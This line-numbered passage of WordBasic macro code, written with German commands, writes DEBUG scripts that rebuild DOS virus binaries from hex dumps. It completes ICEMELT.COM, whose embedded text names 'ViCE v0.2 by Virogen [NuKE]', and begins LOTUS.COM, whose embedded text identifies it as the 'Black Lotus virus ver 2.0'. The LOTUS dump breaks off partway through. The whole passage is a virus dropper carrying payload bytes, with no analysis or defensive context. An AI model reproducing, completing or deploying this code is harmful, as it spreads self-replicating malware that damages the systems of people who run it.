  4033. EinfügenAbsatz
  4034. Einfügen "Print #1," + Chr$(34) + "E 05D0 00 00 CD 20 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4035. EinfügenAbsatz
  4036. Einfügen "Print #1," + Chr$(34) + "E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4037. EinfügenAbsatz
  4038. Einfügen "Print #1," + Chr$(34) + "E 05F0 50 55 53 52 E8 00 00 5D 81 ED 07 00 2E 88 86 FC" + Chr$(34)
  4039. EinfügenAbsatz
  4040. Einfügen "Print #1," + Chr$(34) + "E 0600 05 2E 89 96 FD 05 2E 89 BE FF 05 2E C6 86 FB 05" + Chr$(34)
  4041. EinfügenAbsatz
  4042. Einfügen "Print #1," + Chr$(34) + "E 0610 82 2E C6 86 9A 00 00 2E C6 86 97 00 00 2E C6 86" + Chr$(34)
  4043. EinfügenAbsatz
  4044. Einfügen "Print #1," + Chr$(34) + "E 0620 94 00 00 2E C6 86 05 06 FF 51 51 56 57 52 E8 15" + Chr$(34)
  4045. EinfügenAbsatz
  4046. Einfügen "Print #1," + Chr$(34) + "E 0630 04 E8 24 04 E8 CF 04 F6 C2 01 74 08 E8 51 00 E8" + Chr$(34)
  4047. EinfügenAbsatz
  4048. Einfügen "Print #1," + Chr$(34) + "E 0640 5D 00 EB 06 E8 58 00 E8 46 00 2E 89 BE 0D 06 E8" + Chr$(34)
  4049. EinfügenAbsatz
  4050. Einfügen "Print #1," + Chr$(34) + "E 0650 96 01 E8 0F 03 E8 8B 00 8B C7 5A 5F 50 2B C7 03" + Chr$(34)
  4051. EinfügenAbsatz
  4052. Einfügen "Print #1," + Chr$(34) + "E 0660 C2 5F 2E 8B B6 0F 06 83 EE 02 26 89 04 5E 59 50" + Chr$(34)
  4053. EinfügenAbsatz
  4054. Einfügen "Print #1," + Chr$(34) + "E 0670 51 57 F3 A4 5E 59 E8 09 00 58 59 03 C8 5A 5B 5D" + Chr$(34)
  4055. EinfügenAbsatz
  4056. Einfügen "Print #1," + Chr$(34) + "E 0680 58 C3 80 2C 00 80 04 00 80 34 00 46 49 75 F3 C3" + Chr$(34)
  4057. EinfügenAbsatz
  4058. Einfügen "Print #1," + Chr$(34) + "E 0690 E8 B3 02 2E 88 86 05 06 E8 4C 03 E8 68 04 C3 B8" + Chr$(34)
  4059. EinfügenAbsatz
  4060. Einfügen "Print #1," + Chr$(34) + "E 06A0 06 00 E8 B6 03 83 FA 04 7C F5 8A C2 B4 00 8B F0" + Chr$(34)
  4061. EinfügenAbsatz
  4062. Einfügen "Print #1," + Chr$(34) + "E 06B0 2E 8A A2 B2 05 2E 88 A6 0C 06 2E 8A A2 B9 05 2E" + Chr$(34)
  4063. EinfügenAbsatz
  4064. Einfügen "Print #1," + Chr$(34) + "E 06C0 88 A6 0A 06 2E 8A A2 C0 05 2E 88 A6 0B 06 2E 88" + Chr$(34)
  4065. EinfügenAbsatz
  4066. Einfügen "Print #1," + Chr$(34) + "E 06D0 86 06 06 51 33 C9 E8 0E 03 59 2E 89 BE 0F 06 E8" + Chr$(34)
  4067. EinfügenAbsatz
  4068. Einfügen "Print #1," + Chr$(34) + "E 06E0 24 04 C3 E8 72 03 2E 8A 86 05 06 3C 02 75 08 F6" + Chr$(34)
  4069. EinfügenAbsatz
  4070. Einfügen "Print #1," + Chr$(34) + "E 06F0 C2 01 75 03 E9 97 00 E8 B6 02 2E F6 86 FC 05 02" + Chr$(34)
  4071. EinfügenAbsatz
  4072. Einfügen "Print #1," + Chr$(34) + "E 0700 74 12 F6 C2 02 74 0D 26 C6 05 9C 47 E8 F7 03 26" + Chr$(34)
  4073. EinfügenAbsatz
  4074. Einfügen "Print #1," + Chr$(34) + "E 0710 C6 05 9D 47 F6 C2 04 74 51 26 C6 05 74 47 2E 89" + Chr$(34)
  4075. EinfügenAbsatz
  4076. Einfügen "Print #1," + Chr$(34) + "E 0720 BE 01 06 47 E8 DF 03 E8 1C 02 2E 8B 8E 0D 06 2E" + Chr$(34)
  4077. EinfügenAbsatz
  4078. Einfügen "Print #1," + Chr$(34) + "E 0730 8B 9E FF 05 2B CB 2E 03 8E FD 05 50 E8 A8 02 58" + Chr$(34)
  4079. EinfügenAbsatz
  4080. Einfügen "Print #1," + Chr$(34) + "E 0740 E8 C3 03 B4 00 8B F0 2E 8A B2 8E 05 26 88 35 47" + Chr$(34)
  4081. EinfügenAbsatz
  4082. Einfügen "Print #1," + Chr$(34) + "E 0750 E8 B3 03 26 C6 05 C3 47 E8 AB 03 8B C7 48 2E 8B" + Chr$(34)
  4083. EinfügenAbsatz
  4084. Einfügen "Print #1," + Chr$(34) + "E 0760 B6 01 06 2B C6 26 88 04 EB 56 F6 C2 20 74 0E 26" + Chr$(34)
  4085. EinfügenAbsatz
  4086. Einfügen "Print #1," + Chr$(34) + "E 0770 C7 05 74 02 83 C7 02 26 C6 05 EB EB 2D F6 C2 08" + Chr$(34)
  4087. EinfügenAbsatz
  4088. Einfügen "Print #1," + Chr$(34) + "E 0780 74 06 26 C6 05 75 EB 04 26 C6 05 79 EB 1C F6 C2" + Chr$(34)
  4089. EinfügenAbsatz
  4090. Einfügen "Print #1," + Chr$(34) + "E 0790 10 74 06 26 C6 05 E2 EB 11 26 C7 05 83 F9 83 C7" + Chr$(34)
  4091. EinfügenAbsatz
  4092. Einfügen "Print #1," + Chr$(34) + "E 07A0 02 26 C6 05 00 47 26 C6 05 E0 2E 8B 86 0D 06 2D" + Chr$(34)
  4093. EinfügenAbsatz
  4094. Einfügen "Print #1," + Chr$(34) + "E 07B0 02 00 8B DF 2B D8 F7 DB 47 26 88 1D 47 E8 46 03" + Chr$(34)
  4095. EinfügenAbsatz
  4096. Einfügen "Print #1," + Chr$(34) + "E 07C0 C3 52 50 50 E8 91 02 58 B4 00 8B F0 2E 8A A2 E6" + Chr$(34)
  4097. EinfügenAbsatz
  4098. Einfügen "Print #1," + Chr$(34) + "E 07D0 05 F6 C2 01 74 04 B0 29 EB 02 B0 31 26 89 05 83" + Chr$(34)
  4099. EinfügenAbsatz
  4100. Einfügen "Print #1," + Chr$(34) + "E 07E0 C7 02 E8 21 03 58 5A C3 52 50 E8 6B 02 58 8A F2" + Chr$(34)
  4101. EinfügenAbsatz
  4102. Einfügen "Print #1," + Chr$(34) + "E 07F0 F6 C2 04 74 05 2E 88 96 97 00 F6 C2 02 74 07 D0" + Chr$(34)
  4103. EinfügenAbsatz
  4104. Einfügen "Print #1," + Chr$(34) + "E 0800 E6 2E 88 B6 94 00 F6 C2 01 74 08 80 F6 87 2E 88" + Chr$(34)
  4105. EinfügenAbsatz
  4106. Einfügen "Print #1," + Chr$(34) + "E 0810 B6 9A 00 F6 C2 08 74 05 E8 54 00 EB 39 E8 F5 00" + Chr$(34)
  4107. EinfügenAbsatz
  4108. Einfügen "Print #1," + Chr$(34) + "E 0820 2E 8A 96 9A 00 80 FA 00 74 08 2E 8A 86 0C 06 E8" + Chr$(34)
  4109. EinfügenAbsatz
  4110. Einfügen "Print #1," + Chr$(34) + "E 0830 26 00 2E 8A 96 97 00 80 FA 00 74 08 2E 8A 86 0B" + Chr$(34)
  4111. EinfügenAbsatz
  4112. Einfügen "Print #1," + Chr$(34) + "E 0840 06 E8 14 00 2E 8A 96 94 00 80 FA 00 74 08 2E 8A" + Chr$(34)
  4113. EinfügenAbsatz
  4114. Einfügen "Print #1," + Chr$(34) + "E 0850 86 0A 06 E8 02 00 5A C3 E8 FB 00 26 C6 05 80 47" + Chr$(34)
  4115. EinfügenAbsatz
  4116. Einfügen "Print #1," + Chr$(34) + "E 0860 26 88 05 47 E8 D1 00 26 88 15 47 E8 98 02 C3 52" + Chr$(34)
  4117. EinfügenAbsatz
  4118. Einfügen "Print #1," + Chr$(34) + "E 0870 B8 07 00 E8 E5 01 2E 8A A6 05 06 02 E4 3A D4 74" + Chr$(34)
  4119. EinfügenAbsatz
  4120. Einfügen "Print #1," + Chr$(34) + "E 0880 EF FE C4 3A D4 74 E9 B6 00 8B F2 2E 80 BE 06 06" + Chr$(34)
  4121. EinfügenAbsatz
  4122. Einfügen "Print #1," + Chr$(34) + "E 0890 06 75 07 2E 8A B2 86 05 EB 05 2E 8A B2 7E 05 B0" + Chr$(34)
  4123. EinfügenAbsatz
  4124. Einfügen "Print #1," + Chr$(34) + "E 08A0 88 B2 8A 2E 80 BE 06 06 05 75 02 FE CE 8A E6 E8" + Chr$(34)
  4125. EinfügenAbsatz
  4126. Einfügen "Print #1," + Chr$(34) + "E 08B0 A4 00 26 89 15 83 C7 02 E8 7D 00 E8 48 02 2E 8A" + Chr$(34)
  4127. EinfügenAbsatz
  4128. Einfügen "Print #1," + Chr$(34) + "E 08C0 8E 9A 00 80 F9 00 74 08 2E 8A B2 CE 05 E8 35 00" + Chr$(34)
  4129. EinfügenAbsatz
  4130. Einfügen "Print #1," + Chr$(34) + "E 08D0 2E 8A 8E 97 00 80 F9 00 74 08 2E 8A B2 D6 05 E8" + Chr$(34)
  4131. EinfügenAbsatz
  4132. Einfügen "Print #1," + Chr$(34) + "E 08E0 23 00 2E 8A 8E 94 00 80 F9 00 74 08 2E 8A B2 DE" + Chr$(34)
  4133. EinfügenAbsatz
  4134. Einfügen "Print #1," + Chr$(34) + "E 08F0 05 E8 11 00 E8 5F 00 26 89 05 83 C7 02 E8 38 00" + Chr$(34)
  4135. EinfügenAbsatz
  4136. Einfügen "Print #1," + Chr$(34) + "E 0900 E8 03 02 5A C3 B2 80 26 89 15 83 C7 02 26 88 0D" + Chr$(34)
  4137. EinfügenAbsatz
  4138. Einfügen "Print #1," + Chr$(34) + "E 0910 47 E8 F2 01 C3 2E 80 BE 9A 00 00 75 1A 2E 80 BE" + Chr$(34)
  4139. EinfügenAbsatz
  4140. Einfügen "Print #1," + Chr$(34) + "E 0920 97 00 00 75 12 2E 80 BE 94 00 00 75 0A 50 E8 27" + Chr$(34)
  4141. EinfügenAbsatz
  4142. Einfügen "Print #1," + Chr$(34) + "E 0930 01 58 2E 88 96 97 00 C3 2E 80 BE 06 06 06 75 05" + Chr$(34)
  4143. EinfügenAbsatz
  4144. Einfügen "Print #1," + Chr$(34) + "E 0940 26 C6 05 00 47 C3 B8 03 00 E8 0F 01 8A C2 2E 3A" + Chr$(34)
  4145. EinfügenAbsatz
  4146. Einfügen "Print #1," + Chr$(34) + "E 0950 86 05 06 74 F1 C3 2E F6 86 FC 05 01 75 05 26 C6" + Chr$(34)
  4147. EinfügenAbsatz
  4148. Einfügen "Print #1," + Chr$(34) + "E 0960 05 2E 47 C3 52 50 E8 EF 00 58 2E 8A 86 06 06 B4" + Chr$(34)
  4149. EinfügenAbsatz
  4150. Einfügen "Print #1," + Chr$(34) + "E 0970 00 8B F0 F6 C2 01 74 1C F6 C2 02 74 0B 2E 8A 92" + Chr$(34)
  4151. EinfügenAbsatz
  4152. Einfügen "Print #1," + Chr$(34) + "E 0980 C7 05 26 88 15 47 EB 16 2E 8A B2 AB 05 B4 FF E8" + Chr$(34)
  4153. EinfügenAbsatz
  4154. Einfügen "Print #1," + Chr$(34) + "E 0990 11 00 EB 0A 2E 8A B2 99 05 B4 01 E8 05 00 E8 65" + Chr$(34)
  4155. EinfügenAbsatz
  4156. Einfügen "Print #1," + Chr$(34) + "E 09A0 01 5A C3 B2 83 26 89 15 83 C7 02 26 88 25 47 C3" + Chr$(34)
  4157. EinfügenAbsatz
  4158. Einfügen "Print #1," + Chr$(34) + "E 09B0 52 50 E8 A3 00 58 B4 00 8B F0 F6 C2 01 74 10 F6" + Chr$(34)
  4159. EinfügenAbsatz
  4160. Einfügen "Print #1," + Chr$(34) + "E 09C0 C2 02 74 17 2E 8A 92 A7 05 26 88 15 47 EB 16 2E" + Chr$(34)
  4161. EinfügenAbsatz
  4162. Einfügen "Print #1," + Chr$(34) + "E 09D0 8A B2 AB 05 B4 01 E8 CA FF EB 0A 2E 8A B2 99 05" + Chr$(34)
  4163. EinfügenAbsatz
  4164. Einfügen "Print #1," + Chr$(34) + "E 09E0 B4 FF E8 BE FF 5A C3 50 E8 6D 00 58 B4 00 8B F0" + Chr$(34)
  4165. EinfügenAbsatz
  4166. Einfügen "Print #1," + Chr$(34) + "E 09F0 F6 C2 10 74 11 2E 8A 82 92 05 26 88 05 47 26 89" + Chr$(34)
  4167. EinfügenAbsatz
  4168. Einfügen "Print #1," + Chr$(34) + "E 0A00 0D 83 C7 02 EB 33 E8 B8 FD F6 C2 20 74 12 2E 8A" + Chr$(34)
  4169. EinfügenAbsatz
  4170. Einfügen "Print #1," + Chr$(34) + "E 0A10 A2 99 05 B0 81 26 89 05 83 C7 02 26 89 0D EB 16" + Chr$(34)
  4171. EinfügenAbsatz
  4172. Einfügen "Print #1," + Chr$(34) + "E 0A20 2E 8A A2 A0 05 B0 81 26 89 05 83 C7 02 B8 FF FF" + Chr$(34)
  4173. EinfügenAbsatz
  4174. Einfügen "Print #1," + Chr$(34) + "E 0A30 2B C1 40 26 89 05 83 C7 02 C3 50 B4 2C CD 21 2E" + Chr$(34)
  4175. EinfügenAbsatz
  4176. Einfügen "Print #1," + Chr$(34) + "E 0A40 89 96 03 06 58 C3 B4 2C CD 21 2E 89 96 03 06 C3" + Chr$(34)
  4177. EinfügenAbsatz
  4178. Einfügen "Print #1," + Chr$(34) + "E 0A50 51 E8 07 00 59 8B F2 C3 B8 FF 00 40 51 50 2E 8B" + Chr$(34)
  4179. EinfügenAbsatz
  4180. Einfügen "Print #1," + Chr$(34) + "E 0A60 86 03 06 B9 B5 7A F7 E1 05 19 36 2E 89 86 03 06" + Chr$(34)
  4181. EinfügenAbsatz
  4182. Einfügen "Print #1," + Chr$(34) + "E 0A70 59 F7 E1 59 C3 83 F9 00 74 5C B8 10 00 E8 D0 FF" + Chr$(34)
  4183. EinfügenAbsatz
  4184. Einfügen "Print #1," + Chr$(34) + "E 0A80 83 F9 02 7C 1F 83 F9 05 7C 15 2E F6 86 FC 05 08" + Chr$(34)
  4185. EinfügenAbsatz
  4186. Einfügen "Print #1," + Chr$(34) + "E 0A90 74 0D E8 C3 FF 80 FA C0 7C 05 E8 48 00 EB 2F F6" + Chr$(34)
  4187. EinfügenAbsatz
  4188. Einfügen "Print #1," + Chr$(34) + "E 0AA0 C2 01 74 0C 03 F5 2E 8A 84 4B 05 26 88 05 EB 22" + Chr$(34)
  4189. EinfügenAbsatz
  4190. Einfügen "Print #1," + Chr$(34) + "E 0AB0 F6 C2 02 75 0B 03 F6 03 F5 2E 8B 84 5C 05 EB 0B" + Chr$(34)
  4191. EinfügenAbsatz
  4192. Einfügen "Print #1," + Chr$(34) + "E 0AC0 2E F6 86 FC 05 04 74 ED E8 0C 00 26 89 05 47 49" + Chr$(34)
  4193. EinfügenAbsatz
  4194. Einfügen "Print #1," + Chr$(34) + "E 0AD0 74 04 47 49 75 9F C3 B8 0C 00 E8 73 FF 2E 8A A2" + Chr$(34)
  4195. EinfügenAbsatz
  4196. Einfügen "Print #1," + Chr$(34) + "E 0AE0 ED 05 B0 CD C3 8B C1 2D 02 00 51 E8 6D FF 52 8B" + Chr$(34)
  4197. EinfügenAbsatz
  4198. Einfügen "Print #1," + Chr$(34) + "E 0AF0 CA B0 EB 8A E1 26 89 05 83 C7 02 E8 77 FF 83 EF" + Chr$(34)
  4199. EinfügenAbsatz
  4200. Einfügen "Print #1," + Chr$(34) + "E 0B00 02 5A 59 2B CA C3 2E F6 86 FC 05 02 74 2C 50 51" + Chr$(34)
  4201. EinfügenAbsatz
  4202. Einfügen "Print #1," + Chr$(34) + "E 0B10 52 56 33 C0 2E 8A 86 FB 05 3C 00 74 19 3D 14 00" + Chr$(34)
  4203. EinfügenAbsatz
  4204. Einfügen "Print #1," + Chr$(34) + "E 0B20 7E 02 B0 14 E8 34 FF 87 D1 80 F9 00 74 08 2E 28" + Chr$(34)
  4205. EinfügenAbsatz
  4206. Einfügen "Print #1," + Chr$(34) + "E 0B30 8E FB 05 E8 3F FF 5E 5A 59 58 C3 90 CC CE F9 FC" + Chr$(34)
  4207. EinfügenAbsatz
  4208. Einfügen "Print #1," + Chr$(34) + "E 0B40 FC 90 F9 F5 F8 F9 CE FA FB FB 90 90 3B D8 3B DA" + Chr$(34)
  4209. EinfügenAbsatz
  4210. Einfügen "Print #1," + Chr$(34) + "E 0B50 3B E8 3B C2 3B E9 3B EF 85 FB 85 F3 85 F9 85 C2" + Chr$(34)
  4211. EinfügenAbsatz
  4212. Einfügen "Print #1," + Chr$(34) + "E 0B60 85 CA 85 DA 3B D1 85 F1 85 FA 3B EE 3B D6 05 25" + Chr$(34)
  4213. EinfügenAbsatz
  4214. Einfügen "Print #1," + Chr$(34) + "E 0B70 1D 3D 0D 2D 15 35 46 66 5E 7E 4E 6E 56 76 50 53" + Chr$(34)
  4215. EinfügenAbsatz
  4216. Einfügen "Print #1," + Chr$(34) + "E 0B80 51 52 B8 BB B9 BA BF BE BD C0 C3 C1 C2 C7 C6 C5" + Chr$(34)
  4217. EinfügenAbsatz
  4218. Einfügen "Print #1," + Chr$(34) + "E 0B90 E8 EB E9 EA C7 C6 C5 48 4B 49 4A E8 EB E9 EA EF" + Chr$(34)
  4219. EinfügenAbsatz
  4220. Einfügen "Print #1," + Chr$(34) + "E 0BA0 EE ED 00 00 00 00 35 34 76 00 00 00 00 05 04 46" + Chr$(34)
  4221. EinfügenAbsatz
  4222. Einfügen "Print #1," + Chr$(34) + "E 0BB0 00 00 00 00 2D 2C 6E 00 00 00 00 47 46 45 F0 F4" + Chr$(34)
  4223. EinfügenAbsatz
  4224. Einfügen "Print #1," + Chr$(34) + "E 0BC0 F3 F7 F1 F5 F2 F6 E8 EC EB EF E9 ED EA EE C0 C4" + Chr$(34)
  4225. EinfügenAbsatz
  4226. Einfügen "Print #1," + Chr$(34) + "E 0BD0 C3 C7 C1 C5 C2 C6 C0 DB C9 D2 FF F6 ED 06 32 34" + Chr$(34)
  4227. EinfügenAbsatz
  4228. Einfügen "Print #1," + Chr$(34) + "E 0BE0 35 36 37 38 39 3A 3B 3C 3D 3E 3F 82 00 00 00 00" + Chr$(34)
  4229. EinfügenAbsatz
  4230. Einfügen "Print #1," + Chr$(34) + "E 0BF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4231. EinfügenAbsatz
  4232. Einfügen "Print #1," + Chr$(34) + "E 0C00 00 7B 56 69 43 45 20 76 30 2E 32 E1 2C 20 62 79" + Chr$(34)
  4233. EinfügenAbsatz
  4234. Einfügen "Print #1," + Chr$(34) + "E 0C10 20 FB 69 72 6F 67 65 6E 20 5B 4E 75 4B 45 5D 7D" + Chr$(34)
  4235. EinfügenAbsatz
  4236. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  4237. EinfügenAbsatz
  4238. Einfügen "Print #1," + Chr$(34) + "0B20" + Chr$(34)
  4239. EinfügenAbsatz
  4240. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  4241. EinfügenAbsatz
  4242. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  4243. EinfügenAbsatz
  4244. Einfügen "Close #1"
  4245. EinfügenAbsatz
  4246. Einfügen "c$ = " + Chr$(34) + "ICEMELT.COM" + Chr$(34)
  4247. Finished
  4248. End Sub
  4249.  
  4250. Sub Lotus
  4251. Install
  4252. Einfügen "Print #1," + Chr$(34) + "N LOTUS.COM" + Chr$(34)
  4253. EinfügenAbsatz
  4254. Einfügen "Print #1," + Chr$(34) + "E 0100 89 E5 CC 8B 6E FA 83 ED 03 1E 06 81 3E 00 00 CD" + Chr$(34)
  4255. EinfügenAbsatz
  4256. Einfügen "Print #1," + Chr$(34) + "E 0110 20 74 03 E9 D5 DC E8 25 09 B8 AD 0B 50 58 4C 4C" + Chr$(34)
  4257. EinfügenAbsatz
  4258. Einfügen "Print #1," + Chr$(34) + "E 0120 5B 39 D8 75 02 EB 03 E8 14 09 B8 69 30 CD 21 81" + Chr$(34)
  4259. EinfügenAbsatz
  4260. Einfügen "Print #1," + Chr$(34) + "E 0130 FA 0D F0 74 65 E8 96 00 B8 01 FA BA 45 59 CD 16" + Chr$(34)
  4261. EinfügenAbsatz
  4262. Einfügen "Print #1," + Chr$(34) + "E 0140 8C D8 48 8E D8 81 2E 03 00 37 01 81 2E 12 00 37" + Chr$(34)
  4263. EinfügenAbsatz
  4264. Einfügen "Print #1," + Chr$(34) + "E 0150 01 A1 12 00 8E D8 40 8E C0 C6 06 00 00 5A C7 06" + Chr$(34)
  4265. EinfügenAbsatz
  4266. Einfügen "Print #1," + Chr$(34) + "E 0160 01 00 08 00 C7 06 03 00 36 01 0E 1F 33 FF B9 B4" + Chr$(34)
  4267. EinfügenAbsatz
  4268. Einfügen "Print #1," + Chr$(34) + "E 0170 04 8B F5 F3 A5 33 C0 8E D8 1E C5 06 84 00 26 A3" + Chr$(34)
  4269. EinfügenAbsatz
  4270. Einfügen "Print #1," + Chr$(34) + "E 0180 68 08 26 8C 1E 6A 08 1F C7 06 84 00 0B 06 8C 06" + Chr$(34)
  4271. EinfügenAbsatz
  4272. Einfügen "Print #1," + Chr$(34) + "E 0190 86 00 06 1F B8 CD AB E8 49 08 07 1F 81 FC 88 23" + Chr$(34)
  4273. EinfügenAbsatz
  4274. Einfügen "Print #1," + Chr$(34) + "E 01A0 75 21 8C D8 05 10 00 2E 01 86 BD 00 2E 03 86 BF" + Chr$(34)
  4275. EinfügenAbsatz
  4276. Einfügen "Print #1," + Chr$(34) + "E 01B0 00 FA 8E D0 2E 8B A6 C1 00 FB EA 00 00 F0 FF 00" + Chr$(34)
  4277. EinfügenAbsatz
  4278. Einfügen "Print #1," + Chr$(34) + "E 01C0 00 00 00 BF 00 01 57 8D B6 F7 00 A5 A4 C3 1E 6A" + Chr$(34)
  4279. EinfügenAbsatz
  4280. Einfügen "Print #1," + Chr$(34) + "E 01D0 00 1F 50 51 56 B9 00 90 33 F6 B8 EB 05 3B 04 74" + Chr$(34)
  4281. EinfügenAbsatz
  4282. Einfügen "Print #1," + Chr$(34) + "E 01E0 03 46 E2 F9 75 0C 80 7C 02 EA 74 02 EB F3 46 C6" + Chr$(34)
  4283. EinfügenAbsatz
  4284. Einfügen "Print #1," + Chr$(34) + "E 01F0 04 00 5E 59 58 1F C3 CD 20 00 54 42 46 2D 46 56" + Chr$(34)
  4285. EinfügenAbsatz
  4286. Einfügen "Print #1," + Chr$(34) + "E 0200 49 42 56 53 49 4D 53 43 4D 53 44 45 42 6C 61 63" + Chr$(34)
  4287. EinfügenAbsatz
  4288. Einfügen "Print #1," + Chr$(34) + "E 0210 6B 20 4C 6F 74 75 73 20 76 69 72 75 73 20 76 65" + Chr$(34)
  4289. EinfügenAbsatz
  4290. Einfügen "Print #1," + Chr$(34) + "E 0220 72 20 32 2E 30 43 72 65 61 74 65 64 20 62 79 3A" + Chr$(34)
  4291. EinfügenAbsatz
  4292. Einfügen "Print #1," + Chr$(34) + "E 0230 20 4B 69 6C 6C 65 72 20 42 65 65 2E 20 46 69 6E" + Chr$(34)
  4293. EinfügenAbsatz
  4294. Einfügen "Print #1," + Chr$(34) + "E 0240 69 73 68 65 64 20 6F 6E 20 39 36 2D 30 38 2D 31" + Chr$(34)
  4295. EinfügenAbsatz
  4296. Einfügen "Print #1," + Chr$(34) + "E 0250 35 69 27 6D 20 6C 6F 73 69 6E 67 20 67 72 6F 75" + Chr$(34)
  4297. EinfügenAbsatz
  4298. Einfügen "Print #1," + Chr$(34) + "E 0260 6E 64 20 79 6F 75 20 6B 6E 6F 77 20 68 6F 77 20" + Chr$(34)
  4299. EinfügenAbsatz
  4300. Einfügen "Print #1," + Chr$(34) + "E 0270 74 68 69 73 20 77 6F 72 6C 64 20 63 61 6E 20 62" + Chr$(34)
  4301. EinfügenAbsatz
  4302. Einfügen "Print #1," + Chr$(34) + "E 0280 65 61 74 20 79 6F 75 20 64 6F 77 6E 20 69 27 6D" + Chr$(34)
  4303. EinfügenAbsatz
  4304. Einfügen "Print #1," + Chr$(34) + "E 0290 20 6D 61 64 65 20 6F 66 20 63 6C 61 79 20 69 20" + Chr$(34)
  4305. EinfügenAbsatz
  4306. Einfügen "Print #1," + Chr$(34) + "E 02A0 66 65 61 72 20 69 27 6D 20 74 68 65 20 6F 6E 6C" + Chr$(34)
  4307. EinfügenAbsatz
  4308. Einfügen "Print #1," + Chr$(34) + "E 02B0 79 20 6F 6E 65 20 77 68 6F 20 74 68 69 6E 6B 73" + Chr$(34)
  4309. EinfügenAbsatz
  4310. Einfügen "Print #1," + Chr$(34) + "E 02C0 20 74 68 69 73 20 77 61 79 20 69 27 6D 20 61 6C" + Chr$(34)
  4311. EinfügenAbsatz
  4312. Einfügen "Print #1," + Chr$(34) + "E 02D0 77 61 79 73 20 66 61 6C 6C 69 6E 67 20 64 6F 77" + Chr$(34)
  4313. EinfügenAbsatz
  4314. Einfügen "Print #1," + Chr$(34) + "E 02E0 6E 20 74 68 65 20 73 61 6D 65 20 68 69 6C 6C 20" + Chr$(34)
  4315. EinfügenAbsatz
  4316. Einfügen "Print #1," + Chr$(34) + "E 02F0 62 61 6D 62 6F 6F 20 70 75 6E 63 74 75 72 69 6E" + Chr$(34)
  4317. EinfügenAbsatz
  4318. Einfügen "Print #1," + Chr$(34) + "E 0300 67 20 74 68 69 73 20 73 6B 69 6E 20 61 6E 64 20" + Chr$(34)
  4319. EinfügenAbsatz
  4320. Einfügen "Print #1," + Chr$(34) + "E 0310 6E 6F 74 68 69 6E 67 20 63 6F 6D 65 73 20 62 6C" + Chr$(34)
  4321. EinfügenAbsatz
  4322. Einfügen "Print #1," + Chr$(34) + "E 0320 65 65 64 69 6E 67 20 6F 75 74 20 6F 66 20 6D 65" + Chr$(34)
  4323. EinfügenAbsatz
  4324. Einfügen "Print #1," + Chr$(34) + "E 0330 20 6A 75 73 74 20 6C 69 6B 65 20 61 20 77 61 74" + Chr$(34)
  4325. EinfügenAbsatz
  4326. Einfügen "Print #1," + Chr$(34) + "E 0340 65 72 66 61 6C 6C 20 69 27 6D 20 64 72 6F 77 6E" + Chr$(34)
  4327. EinfügenAbsatz
  4328. Einfügen "Print #1," + Chr$(34) + "E 0350 69 6E 67 20 69 6E 20 32 20 66 65 65 74 20 62 65" + Chr$(34)
  4329. EinfügenAbsatz
  4330. Einfügen "Print #1," + Chr$(34) + "E 0360 6C 6F 77 20 74 68 65 20 73 75 72 66 61 63 65 20" + Chr$(34)
  4331. EinfügenAbsatz
  4332. Einfügen "Print #1," + Chr$(34) + "E 0370 69 20 63 61 6E 20 73 74 69 6C 6C 20 6D 61 6B 65" + Chr$(34)
  4333. EinfügenAbsatz
  4334. Einfügen "Print #1," + Chr$(34) + "E 0380 20 6F 75 74 20 79 6F 75 72 20 77 61 76 79 20 66" + Chr$(34)
  4335. EinfügenAbsatz
  4336. Einfügen "Print #1," + Chr$(34) + "E 0390 61 63 65 20 61 6E 64 20 69 66 20 69 20 63 6F 75" + Chr$(34)
  4337. EinfügenAbsatz
  4338. Einfügen "Print #1," + Chr$(34) + "E 03A0 6C 64 20 6A 75 73 74 20 72 65 61 63 68 20 79 6F" + Chr$(34)
  4339. EinfügenAbsatz
  4340. Einfügen "Print #1," + Chr$(34) + "E 03B0 75 20 6D 61 79 62 65 20 69 20 63 6F 75 6C 64 20" + Chr$(34)
  4341. EinfügenAbsatz
  4342. Einfügen "Print #1," + Chr$(34) + "E 03C0 6C 65 61 76 65 20 74 68 69 73 20 70 6C 61 63 65" + Chr$(34)
  4343. EinfügenAbsatz
  4344. Einfügen "Print #1," + Chr$(34) + "E 03D0 20 69 20 64 6F 20 6E 6F 74 20 77 61 6E 74 20 74" + Chr$(34)
  4345. EinfügenAbsatz
  4346. Einfügen "Print #1," + Chr$(34) + "E 03E0 68 69 73 20 69 20 64 6F 20 6E 6F 74 20 77 61 6E" + Chr$(34)
  4347. EinfügenAbsatz
  4348. Einfügen "Print #1," + Chr$(34) + "E 03F0 74 20 74 68 69 73 20 64 6F 6E 27 74 20 79 6F 75" + Chr$(34)
  4349. EinfügenAbsatz
  4350. Einfügen "Print #1," + Chr$(34) + "E 0400 20 74 65 6C 6C 20 6D 65 20 68 6F 77 20 69 20 66" + Chr$(34)
  4351. EinfügenAbsatz
  4352. Einfügen "Print #1," + Chr$(34) + "E 0410 65 65 6C 20 64 6F 6E 27 74 20 79 6F 75 20 74 65" + Chr$(34)
  4353. EinfügenAbsatz
  4354. Einfügen "Print #1," + Chr$(34) + "E 0420 6C 6C 20 6D 65 20 68 6F 77 20 69 20 66 65 65 6C" + Chr$(34)
  4355. EinfügenAbsatz
  4356. Einfügen "Print #1," + Chr$(34) + "E 0430 20 79 6F 75 20 64 6F 6E 27 74 20 6B 6E 6F 77 20" + Chr$(34)
  4357. EinfügenAbsatz
  4358. Einfügen "Print #1," + Chr$(34) + "E 0440 6A 75 73 74 20 68 6F 77 20 69 20 66 65 65 6C 20" + Chr$(34)
  4359. EinfügenAbsatz
  4360. Einfügen "Print #1," + Chr$(34) + "E 0450 69 20 73 74 61 79 20 69 6E 73 69 64 65 20 6D 79" + Chr$(34)
  4361. EinfügenAbsatz
  4362. Einfügen "Print #1," + Chr$(34) + "E 0460 20 62 65 64 69 20 68 61 76 65 20 6C 69 76 65 64" + Chr$(34)
  4363. EinfügenAbsatz
  4364. Einfügen "Print #1," + Chr$(34) + "E 0470 20 73 6F 20 6D 61 6E 79 20 6C 69 76 65 73 20 69" + Chr$(34)
  4365. EinfügenAbsatz
  4366. Einfügen "Print #1," + Chr$(34) + "E 0480 6E 20 6D 79 20 68 65 61 64 20 64 6F 6E 27 74 20" + Chr$(34)
  4367. EinfügenAbsatz
